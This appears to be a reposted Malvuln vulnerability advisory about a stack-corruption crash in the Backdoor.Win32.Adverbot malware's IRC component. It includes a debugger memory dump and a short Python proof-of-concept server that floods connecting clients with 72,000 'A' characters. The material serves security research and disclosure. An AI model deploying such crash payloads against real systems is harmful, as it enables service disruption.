Share
## https://sploitus.com/exploit?id=PACKETSTORM:160762
Discovery / credits: malvuln - Malvuln.com (c) 2021  
Original source: http://malvuln.com/advisory/9919c1e86a750dd6d4f0d2a851af29ea.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: BACKDOOR.WIN32.ADVERBOT  
Vulnerability: Remote Stack Corruption  
Description: Null instruction pointer read stack corruption when connecting to an IRC server Port 6667.  
The NetControl.File component allows connecting to server to IRC servers to file share or send messages under Menu/connect.  
  
Type: PE32  
MD5: 9919c1e86a750dd6d4f0d2a851af29ea   
Vuln ID: MVID-2021-0003  
Dropped files:  
ASLR: False   
DEP: False  
Safe SEH: True   
Disclosure: 01/02/2021   
  
Memory Dump:   
0:000> .ecxr  
eax=00000000 ebx=46454447 ecx=00000000 edx=0019c21f esi=00000000 edi=00000000  
eip=00000000 esp=0019d264 ebp=00000000 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
00000000 ?? ???  
  
  
ExceptionAddress: 00000000  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 00000000  
Attempt to read from address 00000000  
  
  
Exploit/PoC:  
import socket  
  
port=6667  
payload="A"*72000  
  
def doit():  
global payload  
s = socket.socket()  
try:  
host = ''   
s.bind((host, port))   
s.listen(5)   
  
print('Backdoor.Win32.Adverbot / Null Pointer Read Stack Corruption')  
print('MD5: 9919c1e86a750dd6d4f0d2a851af29ea')  
print("By malvuln")  
  
while True:  
conn, addr = s.accept()  
conn.send(payload+'\r\n')  
conn.close()  
except Exception as e:  
pass  
  
if __name__=="__main__":  
doit()  
  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).